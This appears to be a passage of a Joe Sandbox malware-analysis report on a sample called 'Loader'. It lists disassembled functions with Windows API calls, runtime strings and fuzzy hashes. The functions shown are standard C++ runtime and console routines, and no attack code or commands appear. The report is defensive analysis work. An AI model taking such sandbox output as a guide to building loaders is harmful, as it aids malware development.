Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 61ebc0ef329aaf863e9ca8e765bf05a56a2fad699ca2c6528d6ab2536e612a42
Instruction ID: 84917222c3e65a791201ff60ae7cc1841bbbb28a55283fc613d7a238adcb2c12
Opcode Fuzzy Hash: 61ebc0ef329aaf863e9ca8e765bf05a56a2fad699ca2c6528d6ab2536e612a42
Instruction Fuzzy Hash: 8201D2729012398FCB05EBA4E951BAD77B5AFC0320F240419F8146B289CF789E04CB81

Function 0092AF77 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092AF7E
std::_Lockit::_Lockit.LIBCPMT ref: 0092AF89
std::_Lockit::~_Lockit.LIBCPMT ref: 0092AFF7

Part of subcall function 0092AE4A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0092AE62

std::locale::_Setgloballocale.LIBCPMT ref: 0092AFA4
_Yarn.LIBCPMT ref: 0092AFBA

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 09170029a6bdc28f1b943d813a03f160616c4fe7d6c3a3d48fc2afb7e06220f0
Instruction ID: 2a588a339e476fb1243ebeb69226fb67b6f7ee78143af03e9ab64667fa32c3c4
Opcode Fuzzy Hash: 09170029a6bdc28f1b943d813a03f160616c4fe7d6c3a3d48fc2afb7e06220f0
Instruction Fuzzy Hash: 82017CB66057219FCB06EB21E862A7D7BA6FFC4351B144019E80557385CF38AE42DF82

Function 00921800 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00921833

Strings

ios_base::badbit set, xrefs: 00921CAA, 00921CD0
ios_base::eofbit set, xrefs: 00921C9A
ios_base::failbit set, xrefs: 00921C9F

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: eb509b6ee76d7b83b0697b616aeb3f2a6890265f973696f7d4e8c44fe67d2607
Instruction ID: fe52d2f7c0029f8ae4088de26fa664af2f4dcdfe965cf71f1a782190cebdd4a0
Opcode Fuzzy Hash: eb509b6ee76d7b83b0697b616aeb3f2a6890265f973696f7d4e8c44fe67d2607
Instruction Fuzzy Hash: 05F17E75A012248FCB14CF68D494BADBBF1FF88324F198259E855AB3A5C734ED41CB90

Function 0092B845 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0092B8F9

Strings

RCC, xrefs: 0092B885
csm, xrefs: 0092B891
MOC, xrefs: 0092B879

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: b7df0bb7ea12cd873e3d481aa180d1886361d34c334b6f0d1578f4f9c752cdec
Instruction ID: 4a03610e708f8d72a8d92c28becba04c641be7a0d40e126bebff969fc77158e8
Opcode Fuzzy Hash: b7df0bb7ea12cd873e3d481aa180d1886361d34c334b6f0d1578f4f9c752cdec
Instruction Fuzzy Hash: 0421F579804629EFCF389F64E446BAEB7ECEF40324F148A1EE405D7294D7349A80CB90

Function 00946A30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00946ACC,00000000,?,0095D2B0,?,?,?,00946A03,00000004,InitializeCriticalSectionEx,00950D44,00950D4C), ref: 00946A3D
GetLastError.KERNEL32(?,00946ACC,00000000,?,0095D2B0,?,?,?,00946A03,00000004,InitializeCriticalSectionEx,00950D44,00950D4C,00000000,?,0093BCAC), ref: 00946A47
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00946A6F

Strings

api-ms-, xrefs: 00946A54

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 373eb3cedfaa3fdb1344077f46a5733d43bdc3fd628fc09ff3a2f54042760871
Instruction ID: 4e94a43c4853497a0a71caa58de0176d864b43425b89cd4a38acf35f8eed297b
Opcode Fuzzy Hash: 373eb3cedfaa3fdb1344077f46a5733d43bdc3fd628fc09ff3a2f54042760871
Instruction Fuzzy Hash: 1AE01A70384704BAEB205FA2EC06F393B689B51B46F908420FA4CA94E0DB62E8149646

Function 0094408E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 009440F1

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00944343
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00944389
GetLastError.KERNEL32 ref: 0094442C

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: d1d2cb5556cdd1ac14ef089d8ae513b1225f47431f611b822902a99f55ac23d6
Instruction ID: 29e698ffeec422e8c9c11f0e510fbf735a03d6730ff34f52927a7a5027d8e061
Opcode Fuzzy Hash: d1d2cb5556cdd1ac14ef089d8ae513b1225f47431f611b822902a99f55ac23d6
Instruction Fuzzy Hash: FED16975E052589FCF15CFE9C880AEDBBB8FF49304F24452AE856EB262D630A941CF50

Function 0093B385 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0093B44C
___AdjustPointer.LIBCMT ref: 0093B46F
___AdjustPointer.LIBCMT ref: 0093B50B

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: fe4182927d1328dff69bc8033e74a1a89736df9ac8f901d18034d08056c91194
Instruction ID: b7e1672910fe4c7856822174728ff05f32253cb9cd9893ea26f80887197e1db2
Opcode Fuzzy Hash: fe4182927d1328dff69bc8033e74a1a89736df9ac8f901d18034d08056c91194
Instruction Fuzzy Hash: 5A51E272A017069FDB28CF55E865BAA77A8EF80710F14452DEE06876A2D735EC40CF94

Function 009273C0 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00927465
std::_Throw_Cpp_error.LIBCPMT ref: 00927535
std::_Throw_Cpp_error.LIBCPMT ref: 00927543
std::_Throw_Cpp_error.LIBCPMT ref: 00927551

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: f9969e517fe60e1855c186065a9aa39a5ff39f438a9fe7ffe1c098cb9cc5ce8b
Instruction ID: 63109fb9ffb9a5265cf0e10427f1bb3af95a625028f1f2ba920fa1c1398b861e
Opcode Fuzzy Hash: f9969e517fe60e1855c186065a9aa39a5ff39f438a9fe7ffe1c098cb9cc5ce8b
Instruction Fuzzy Hash: CE411CB19043258BDB20EFA4E841B5BF7B9FF84320F144539E45A576A5E734E801CB91

Function 00924600 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00924635
std::_Lockit::_Lockit.LIBCPMT ref: 00924652
std::_Lockit::~_Lockit.LIBCPMT ref: 00924673
std::_Lockit::~_Lockit.LIBCPMT ref: 00924720

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: e504a97ccfe2f7387603af238270422223536a050316f25dfab46189bb2bdae3
Instruction ID: 30dff4646f9412ac95e8b7a56baa57f98035ca262a0846d5f6e2e719c3500ea6
Opcode Fuzzy Hash: e504a97ccfe2f7387603af238270422223536a050316f25dfab46189bb2bdae3
Instruction Fuzzy Hash: 49415AB5D003298FCB10DF95E884BAEBBB9FB49321F044619E8156B395D734AD44CFA1

Function 00941EB6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00941F1A
__dosmaperr.LIBCMT ref: 00941F21
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00941F5B
__dosmaperr.LIBCMT ref: 00941F62

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 236f42a987d4f356521d883b6ab7014a7025f1bbdf199fe1ea0124c7d0ce9fa8
Instruction ID: ed71c90dcf9bf40e3cc8271f4f86fc07716585dd1c0ead68118e0e7e13aea541
Opcode Fuzzy Hash: 236f42a987d4f356521d883b6ab7014a7025f1bbdf199fe1ea0124c7d0ce9fa8
Instruction Fuzzy Hash: 4621D771604205AFCB20AF76CC81D2BF7ADFF44364B108559FC6597150DB31EC818B90

Function 00932C92 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e10a5a51f28701f78bf7e41e0eca4375edc549aa650e94c600aeb0afa70d0404
Instruction ID: 33387d79178d9c3ad1c586126cf16f650e367a39d1042aebe00a7adf46aad2ec
Opcode Fuzzy Hash: e10a5a51f28701f78bf7e41e0eca4375edc549aa650e94c600aeb0afa70d0404
Instruction Fuzzy Hash: 6421A571604215AFDB20AF75DC81A6BB7ADEF85364F104915F96AD71A1EB31EC00CFA0

Function 009432AE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009432B6

Part of subcall function 0093C111: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0093D985,?,00000000,-00000008), ref: 0093C172

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009432EE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0094330E

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 62d89181b83b5d235b284de4c942acb28a3dca1c5f54682214a98e155750a1a6
Instruction ID: 41a4595ecfc9e720995d3f6e2b072a6fea47703926f2ccbf0625e367ded0dea8
Opcode Fuzzy Hash: 62d89181b83b5d235b284de4c942acb28a3dca1c5f54682214a98e155750a1a6
Instruction Fuzzy Hash: C11145F16056157FAB212BB29C8ADBF7E6CCED6399B904424F641D2101FF24EE009BB1

Function 0092E982 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092E989
std::_Lockit::_Lockit.LIBCPMT ref: 0092E993
int.LIBCPMT ref: 0092E9AA

Part of subcall function 0092C2D5: std::_Lockit::_Lockit.LIBCPMT ref: 0092C2E6
Part of subcall function 0092C2D5: std::_Lockit::~_Lockit.LIBCPMT ref: 0092C300

std::_Lockit::~_Lockit.LIBCPMT ref: 0092EA04

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 01f7201e74d0b82d62706585314578caacc38f9d9b531afbec423903d37ace7d
Instruction ID: 84f2fb83fda30446fb1fa28018b43a6c3715661be23b74976670711cb7046a84
Opcode Fuzzy Hash: 01f7201e74d0b82d62706585314578caacc38f9d9b531afbec423903d37ace7d
Instruction Fuzzy Hash: 7811ED728002358FCB05EBA4E9A5BAD77B6BF90320F250418F8156B289DF749E00CB91

Function 0094AE90 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000), ref: 0094AEA7
GetLastError.KERNEL32(?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?,?,?,00943DC6,00000000), ref: 0094AEB3

Part of subcall function 0094AF10: CloseHandle.KERNEL32(FFFFFFFE,0094AEC3,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?,?), ref: 0094AF20

___initconout.LIBCMT ref: 0094AEC3

Part of subcall function 0094AEE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0094AE81,0094A3CC,?,?,00944480,?,00000000,00000000,?), ref: 0094AEF8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0094A3DF,00000000,00000001,00000000,?,?,00944480,?,00000000,00000000,?), ref: 0094AED8

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ed8ca2dc6f5392c3f25ffe23e80e3b94c2ce5163f016589875877322f9e82445
Instruction ID: 41d09c2cf95021f2bc57d796832f3168af6f230d67d79393fa5daf8ca8e324af
Opcode Fuzzy Hash: ed8ca2dc6f5392c3f25ffe23e80e3b94c2ce5163f016589875877322f9e82445
Instruction Fuzzy Hash: 85F09E36554258BBDF525F96DC04E9A3E26EB487A1F444410FA1896170DA328860AB91

Function 009305E5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009305F7
GetCurrentThreadId.KERNEL32 ref: 00930606
GetCurrentProcessId.KERNEL32 ref: 0093060F
QueryPerformanceCounter.KERNEL32(?), ref: 0093061C

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f01fbf2fabefbadf7a575f6d79e40c42a174d9211ef25de9454a446d1bafd095
Instruction ID: 578595d6422933853c2e9bc90b2a748a4a68ab1753254dd67553cc8a4863716e
Opcode Fuzzy Hash: f01fbf2fabefbadf7a575f6d79e40c42a174d9211ef25de9454a446d1bafd095
Instruction Fuzzy Hash: 99F06274D1420DEBCB00DBB5DA4999EBBF4FF1C205B918996A452E7150EB30AB44DF50

Function 00940A66 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0093C25A: GetLastError.KERNEL32(00000000,?,0093E67D), ref: 0093C25E
Part of subcall function 0093C25A: SetLastError.KERNEL32(00000000,?,?,00000028,00938453), ref: 0093C300

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00935CC5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00940B25
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00935CC5,?,?,?,00000055,?,-00000050,?,?), ref: 00940B5C

Strings

utf8, xrefs: 00940C2E

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667229125.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667240653.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_920000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 61f542abff77affe2148226b0fb1643d55d9741872a5a34af4280761e46d1034
Instruction ID: e61426edbcb9d857171865d118092989e59b15decf37fa564893cbf7e83e02cb
Opcode Fuzzy Hash: 61f542abff77affe2148226b0fb1643d55d9741872a5a34af4280761e46d1034
Instruction Fuzzy Hash: C3510771A00705EADB28AB718C86FA773ACEFC4705F150629FB999B081E670D980C768

Function 00927580 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 009276C6
___std_exception_copy.LIBVCRUNTIME ref: 00927701

Part of subcall function 0092B0D7: CreateThreadpoolWork.KERNEL32(0092B200,00928BCA,00000000,00000000,?,00928BCA,?,?,?,?), ref: 0092B0E6
Part of subcall function 0092B0D7: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0092B0F3

Strings

Fail to schedule the chore!, xrefs: 009276F1, 00927700

Memory Dump Source

Source File: 00000002.00000002.1667175336.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000002.00000002.1667161368.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667197811.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1667213235.000000000095A000.00000008.00000001.01000000.00000003.sdmpDownload File
